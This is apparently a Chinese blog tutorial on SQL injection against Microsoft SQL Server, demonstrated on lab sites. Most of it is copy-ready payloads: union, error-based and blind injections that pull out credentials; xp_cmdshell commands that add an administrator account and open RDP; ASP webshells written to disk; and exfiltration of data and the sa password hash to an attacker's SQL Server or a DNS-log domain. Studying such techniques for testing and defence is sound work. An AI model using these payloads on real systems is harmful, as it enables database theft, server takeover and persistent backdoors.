MS SQL注入
MS SQL注入
简介
SQL Server 是一个关系数据库管理系统。经常与asp或者aspx一起使用,SQL Server是一个可扩展的、高性能的、为分布式客户机/服务器计算所设计的数据库管理系统,实现了与WindowsNT的有机结合,提供了基于事务的企业级信息管理系统方案。
基础知识
系统自带库
MSSQL安装后默认带了6个数据库,其中4个系统级库:master,model,tempdb和msdb;2个示例库:Northwind Traders和pubs。
master:主要为系统控制数据库,其中包括了所有配置信息、用户登录信息和当前系统运行情况。
model:模版数据库
tempdb:临时容器
msdb:主要为用户使用,所有的告警、任务调度等都在这个数据库中。
系统自带表
MSSQL数据库与Mysql数据库一样,有安装自带的数据表sysobjects和syscolumns等,其中需要了解的就是这两个数据表。
sysobjects:记录了数据库中所有表,常用字段为id、name和xtype。
syscolumns:记录了数据库中所有表的字段,常用字段为id、name和xtype。
//id为标识,name为对应的表名和字段名,xtype为所对应的对象类型
注入流程
1、判断注入点
' 单引号是否报错
and 1=1 / and 1=2 页面是否相同
2、判断数据库类型是否为MSSQL
and (select count(*) from sysobjects)>0
and exists(select * from sysobjects)
3、判断注入点权限
//当前是否为sa
and exists(select is_srvrolemember('sysadmin'))
或and (select is_srvrolemember('sysadmin'))>0
//判断当前用户写文件、读文件的权限
and exists(select is_srvrolemember('db_owner'))
或and (select is_srvrolemember('db_owner'))>0
//判断是否有public权限,可以爆破表
and exists(select is_srvrolemember('public'))
或and (select is_srvrolemember('public'))>0
4、查询数据库名
db_name(N) 表示当前数据库,其中的参数表示第N个数据库,从0开始
5、查询当前用户
6、查表名
7、爆数据
//常用函数
db_name(N) 表示当前数据库,其中的参数表示第N个数据库,从0开始
@@version 数据库版本
User_Name() 当前用户
host_name() 计算机名称
//是否站库分离,报错是站库分离
1' and ((select host_name())=(select @@SERVERNAME))--+
//排序&获取下一条数据
mssql数据库中没有limit排序获取字段,但是可以使用top 1来显示数据中的第一条数据,后面与Oracle数据库注入一样,使用<>或not in 来排除已经显示的数据,获取下一条数据。但是与Oracle数据库不同的是使用not in的时候后面需要带上(‘’),类似数组,也就是不需要输入多个not in来获取数据,这可以很大程序减少输入的数据量,如下:
//使用<>获取数据 <> : 不等于
union all select top 1 null,id,name,null from dbo.syscolumns where id='5575058' and name<>'id' and name<>'username'--#
//使用not in获取数据
union all select top 1 null,id,name,null from dbo.syscolumns where id='5575058' and name not in ('id','username')--#
联合注入
实战寻找注入点(此处是靶场),在通知这找到了id=2
输入单引号,报错
判断数据库类型是否为MSSQL
http://127.0.0.1:49221/new_list.asp?id=2 and (select count(*) from sysobjects)>0
判断当前字段数
http://127.0.0.1:49221/new_list.asp?id=2 order by 4
http://127.0.0.1:49221/new_list.asp?id=2 order by 5
联合查询,获取显错点
1、首先因为不知道具体数据类型,所以还是先用null来填充字符
http://127.0.0.1:49221/new_list.asp?id=-2 union all select null,null,null,null --+
2、替换null为’null’,获取显错点
//第一个字符设置为字符串格式时,页面报错,很明显这个就是id了,为int字符。
http://127.0.0.1:49221/new_list.asp?id=-2 union all select null,'null','null',null --+
查询数据库信息
1、获取数据库版本
http://127.0.0.1:49221/new_list.asp?id=-2 union all select null,'1',(select @@version),null --+
2、查询数据库名称
http://127.0.0.1:49221/new_list.asp?id=-2 union all select null,'1',(select db_name()),null --+
http://127.0.0.1:49221/new_list.asp?id=-2 union all select null,'1',(select db_name(1)),null --+
http://127.0.0.1:49221/new_list.asp?id=-2 union all select null,'1',(select db_name(2)),null --+
http://127.0.0.1:49221/new_list.asp?id=-2 union all select null,'1',(select db_name(3)),null --+
http://127.0.0.1:49221/new_list.asp?id=-2 union all select null,'1',(select db_name(4)),null --+
http://127.0.0.1:49221/new_list.asp?id=-2 union all select null,'1',(select db_name(5)),null --+
db_name(6)输出为空,证明枚举完了。
查询当前用户
//这里的用户dbo就等于databaseown,即sa用户
http://127.0.0.1:49221/new_list.asp?id=-2 union all select null,'1',(select user),null --+
user:User_Name()
查询表名
查询dbo.sysobjects表中用户创建的表,获取其对应的id和name
http://127.0.0.1:49221/new_list.asp?id=-2 union all select null,id,name,null from dbo.sysobjects where xtype='U' --+
//使用<>获取下一条数据
http://127.0.0.1:49221/new_list.asp?id=-2 union all select top 1 null,id,name,null from dbo.sysobjects where xtype='U' and id <> 5575058 --+
//使用not in获取下一条数据
http://127.0.0.1:49221/new_list.asp?id=-2 union all select top 1 null,id,name,null from dbo.sysobjects where xtype='U' and id not in ('5575058','101575400') --+
//这里没有表了报错
查询列名
查询列名的时候因为已经知道了表名的id值,所以where只需要使用id即可,不再需要xtype了。
http://127.0.0.1:49221/new_list.asp?id=-2 union all select top 1 null,id,name,null from dbo.syscolumns where id='5575058'--+
http://127.0.0.1:49221/new_list.asp?id=-2 union all select top 1 null,id,name,null from dbo.syscolumns where id='5575058' and name not in ('id','username')--+
获取数据
http://127.0.0.1:49221/new_list.asp?id=-2 union all select top 1 null,username,password,null from manage--+
http://127.0.0.1:49221/new_list.asp?id=-2 union all select top 1 null,username,password,null from manage where username <> 'admin_mz'--+
显示报错注入
根据系统报错信息进行注入。
上图找到注入点,判断字段数后,发现没有显示位,但是有报错信息的显示,可以使用报错注入进行手注。
查询数据库
//db_name()当前数据库 @@version查看数据库版本
http://192.168.1.202:8088/less-1.asp?id=1' and 1=(select db_name()) --+
http://192.168.1.202:8088/less-1.asp?id=1' and 1=(select db_name(1)) --+
http://192.168.1.202:8088/less-1.asp?id=1' and 1=(select db_name(2)) --+
...
或者
//变换N的值就可以爆出所有数据库的名称 convert(int,db_name()),将第二个参数的值转换成第一个参数的int类型。
http://192.168.1.202:8088/less-1.asp?id=1' and (convert(int,db_name(N)))>0--+
//CAST(expression AS data_type),将as前的参数以as后指定了数据类型转换。
http://192.168.1.202:8088/less-1.asp?id=1' and 1=(select cast(db_name() as int)) --+
查询当前用户
http://192.168.1.202:8088/less-1.asp?id=1' and 1=(select user) --+
//这里的用户dbo就等于databaseown,即sa用户
查询表名
//当前数据库test的第一个表
http://192.168.1.202:8088/less-1.asp?id=1' and (select top 1 name from test.sys.all_objects where type='U' AND is_ms_shipped=0)>0--+
//第二个表
http://192.168.1.202:8088/less-1.asp?id=1' and (select top 1 name from test.sys.all_objects where type='U' AND is_ms_shipped=0 and name not in ('emails'))>0--+
...
http://192.168.1.202:8088/less-1.asp?id=1' and (select top 1 name from test.sys.all_objects where type='U' AND is_ms_shipped=0 and name not in ('emails','uagents','referers','users'))>0--+
查询列名
//查询users的第一列
http://192.168.1.202:8088/less-1.asp?id=1' and (select top 1 COLUMN_NAME from test.information_schema.columns where TABLE_NAME='users')>0--+
//查询users的第二列
http://192.168.1.202:8088/less-1.asp?id=1' and (select top 1 COLUMN_NAME from test.information_schema.columns where TABLE_NAME='users' and COLUMN_NAME not in ('id'))>0--+
//查询users的第三列
http://192.168.1.202:8088/less-1.asp?id=1' and (select top 1 COLUMN_NAME from test.information_schema.columns where TABLE_NAME='users' and COLUMN_NAME not in ('id','username'))>0--+
//查询users的第四列
http://192.168.1.202:8088/less-1.asp?id=1' and (select top 1 COLUMN_NAME from test.information_schema.columns where TABLE_NAME='users' and COLUMN_NAME not in ('id','username','password'))>0--+
获取数据
//方法一:单个查询用户名和密码
http://192.168.1.202:8088/less-1.asp?id=1' and (select top 1 username from users)>0--+
http://192.168.1.202:8088/less-1.asp?id=1' and (select top 1 password from users)>0--+
http://192.168.1.202:8088/less-1.asp?id=1' and (select top 1 username from users where username not in ('Dumb'))>0--+
http://192.168.1.202:8088/less-1.asp?id=1' and (select password from users where username = 'XXX')>0--+
//方法二:组合输出用户名和密码
http://192.168.1.202:8088/less-1.asp?id=1' and 1=stuff((select quotename(username) from users for xml path('')),1,0,'')--+
http://192.168.1.202:8088/less-1.asp?id=1' and 1=stuff((select quotename(password) from users for xml path('')),1,0,'')--+
盲注
用的SQL语句都可以用联合注入的语句穿插。
布尔型盲注
查询数据库
//如果位数正确返回正常页面
http://127.0.0.1:42545/new_list.asp?id=2 and len((select top 1 db_name()))=11
//查询第一个字符 //如果正确返回正常页面
http://127.0.0.1:42545/new_list.asp?id=2 and ascii(substring((select top 1 db_name()),1,1))=109
//查询第二个字符
http://127.0.0.1:42545/new_list.asp?id=2 and ascii(substring((select top 1 db_name()),2,1))=109
查询表名
//查询第一个表的第一个字符
http://127.0.0.1:42545/new_list.asp?id=2 and ascii(substring((select top 1 name from dbo.sysobjects where xtype='U'),1,1))=109
//查询mozhe_db_v2库的第一个表的第一个字符
http://127.0.0.1:42545/new_list.asp?id=2 and ascii(substring((select top 1 name from mozhe_db_v2.sys.all_objects where type='U' AND is_ms_shipped=0),1,1))=109
查询列名
//难猜的,直接sqlmap拉倒
http://127.0.0.1:42545/new_list.asp?id=2 and ascii(substring((select top 1 COLUMN_NAME from test.information_schema.columns where TABLE_NAME='manage'),1,1))=109
时间盲注
查询数据库
WAITFOR DELAY '0:0:n' 语法:n表示延时几秒
//判断如果第一个库的库名的第一个字符的ascii码为109,则延时5秒
http://127.0.0.1:42545/new_list.asp?id=2 if(ascii(substring((select top 1 db_name()),1,1))=109) WAITFOR DELAY '0:0:5' --+
查询表名
http://127.0.0.1:42545/new_list.asp?id=2 if(ascii(substring((select top 1 name from dbo.sysobjects where xtype='U'),1,1))=109) WAITFOR DELAY '0:0:5' --+
//查询mozhe_db_v2库的第一个表的第一个字符
http://127.0.0.1:42545/new_list.asp?id=2 if(ascii(substring((select top 1 name from mozhe_db_v2.sys.all_objects where type='U' AND is_ms_shipped=0),1,1))=109) WAITFOR DELAY '0:0:5' --+
查询列名
http://127.0.0.1:42545/new_list.asp?id=2 if(ascii(substring((select top 1 COLUMN_NAME from test.information_schema.columns where TABLE_NAME='manage'),1,1))=109) WAITFOR DELAY '0:0:5' --+
xp_cmdshell
xp_cmdshell 扩展:存储过程将命令字符串作为操作系统命令 shell 执行,并以文本行的形式返回所有输出。
xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure 重新开启它。
1.判断当前MSSQL数据库有没有xp_cmdshell扩展,返回值为1,表示有扩展
select count(*) FROM master. dbo.sysobjects Where xtype ='X' AND name = 'xp_cmdshell'
2.测试是否可执行系统命令
exec master..xp_cmdshell 'net user'
exec master.dbo.xp_cmdshell 'net user'
3.执行2出现错误解决方法
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
EXEC sp_configure 'show advanced options',1//允许修改高级参数
RECONFIGUREEXEC sp_configure 'xp_cmdshell',1 //打开xp_cmdshell扩展
在执行即可成功执行语句
判断有没有xp_cmdshell扩展
http://192.168.1.202:8088/less-1.asp?id=1' and (select count(*) FROM master. dbo.sysobjects Where xtype ='X' AND name = 'xp_cmdshell')>0--+
执行系统命令
1.MSSQL版本
http://192.168.1.202:8088/less-1.asp?id=1' and 1=(select @@version) --+
2.创建一个新用户test
http://192.168.1.202:8088/less-1.asp?id=1;exec master..xp_cmdshell 'net user test qaz@WSX123 /add'--+
3.将用户test添加到管理员组中
http://192.168.1.202:8088/less-1.asp?id=1;exec master..xp_cmdshell 'net localgroup administrators test /add'--+
4.开启靶机3389端口
http://192.168.1.202:8088/less-1.asp?id=1;exec master..xp_cmdshell 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f'--+
一句话
1.开启xp_cmdshell
http://192.168.1.202:8088/less-1.asp?id=1;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
2.getshell
http://192.168.1.202:8088/less-1.asp?id=1;EXEC master..xp_cmdshell 'echo ^<%eval request(chr(35))%^> > C:\MSSQL-SQLi-Labs-master\muma.asp' --+
//执行系统命令 把命令结果输出到指定文件
http://192.168.1.202:8088/less-1.asp?id=1;EXEC master.dbo.xp_cmdshell 'ipconfig >>C:\MSSQL-SQLi-Labs-master\ip.txt' --+
备份拿SHELL
<%execute(request("a"))%>
//判断是否存在test_tmp数据库,有就删除,重新创建
http://192.168.1.202:8088/less-1.asp?id=1;IF EXISTS(select table_name from information_schema.tables where table_name='test_tmp')drop table test_tmp;create table test_tmp (a image)
//备份数据库
http://192.168.1.202:8088/less-1.asp?id=1;backup log mydb to disk ='C:\MSSQL-SQLi-Labs-master\asp.bak' with init
//写入一句话
http://192.168.1.202:8088/less-1.asp?id=1;insert into test_tmp (a) values (0x3C25657865637574652872657175657374282261222929253EDA)
//备份一句话
http://192.168.1.202:8088/less-1.asp?id=1;backup log mydb to disk = 'C:\MSSQL-SQLi-Labs-master\123.asp'
openrowset转发利用
适用于盲注入,页面不返回信息 使用这种注入方法,需要一台带有sqlserver的机器。原理就是把当前数据转发到远程的sqlserver上。
(1)需要保证自己的远程sqlserver服务允许远程访问
参考:https://www.cnblogs.com/wangjiming/p/7182639.html
(2)需要保证自己的远程sqlserver的数据库名与注入点的数据库名相同
1.启用Ad Hoc Distributed Queries:
;exec sp_configure 'show advanced options',1 reconfigure
;exec sp_configure 'Ad Hoc Distributed Queries',1 reconfigure
2.为了安全使用完成后,关闭Ad Hoc Distributed Queries:
;exec sp_configure 'Ad Hoc Distributed Queries',0 reconfigure
;exec sp_configure 'show advanced options',0 reconfigure
1、开启扩展
http://192.168.1.202:8088/less-1.asp?id=1;exec 'show advanced options',1 reconfigure;exec sp_configure 'Ad Hoc Distributed Queries',1 reconfigure
//本地创建和目标相同的数据库,建立临时表
create table ##version (VERSION varchar(500))
2、查询系统信息
http://192.168.1.202:8088/less-1.asp?id=1;insert into OPENROWSET('SQLOLEDB', 'server=192.168.0.122;uid=sa;pwd=123456', 'select * from %23%23version' ) select DB_NAME()
//执行上面语句之后 再来查询远程sqlserver上的表
select * from ##version
3、两边创建临时表
create table ##nonamed( dir ntext, num int )
http://192.168.1.202:8088/less-1.asp?id=1;create table %23%23nonamed( dir ntext, num int )
4、查询路径
insert ##nonamed execute master..xp_dirtree 'c:/',1
向nonamed表插入c盘下路径的数据
http://192.168.1.202:8088/less-1.asp?id=1;insert %23%23nonamed execute master..xp_dirtree 'c:/',1
//这里就是把数据转发到远程 sqlserver上
http://192.168.1.202:8088/less-1.asp?id=1;insert into OPENROWSET('SQLOLEDB', 'server=IP;uid=sa;pwd=123456', 'select * from %23%23nonamed' ) select * from %23%23nonamed
//在远程sqlserver执行这个命令 就可以获取 数据
select * from ##nonamed
利用DNSLOG注入
http://192.168.1.202:8088/less-1.asp?id=1;DECLARE @host varchar(1024);SELECT @host=(SELECT TOP 1 master.dbo.fn_varbintohexstr(password_hash)FROM sys.sql_logins WHERE name='sa')+'.ip.port.lwwn46.ceye.io';EXEC('master..xp_dirtree "\\'+@host+'\foobar$"');
//payload需要全部转成URL编码
%3b%44%45%43%4c%41%52%45%20%40%68%6f%73%74%20%76%61%72%63%68%61%72%28%31%30%32%34%29%3b%53%45%4c%45%43%54%20%40%68%6f%73%74%3d%28%53%45%4c%45%43%54%20%54%4f%50%20%31%20%6d%61%73%74%65%72%2e%64%62%6f%2e%66%6e%5f%76%61%72%62%69%6e%74%6f%68%65%78%73%74%72%28%70%61%73%73%77%6f%72%64%5f%68%61%73%68%29%46%52%4f%4d%20%73%79%73%2e%73%71%6c%5f%6c%6f%67%69%6e%73%20%57%48%45%52%45%20%6e%61%6d%65%3d%27%73%61%27%29%2b%27%2e%69%70%2e%70%6f%72%74%2e%6c%77%77%6e%34%36%2e%63%65%79%65%2e%69%6f%27%3b%45%58%45%43%28%27%6d%61%73%74%65%72%2e%2e%78%70%5f%64%69%72%74%72%65%65%20%22%5c%5c%27%2b%40%68%6f%73%74%2b%27%5c%66%6f%6f%62%61%72%24%22%27%29%3b
本文来自博客园,作者:九天揽月丶,转载请注明原文链接:https://www.cnblogs.com/-meditation-/articles/16112699.html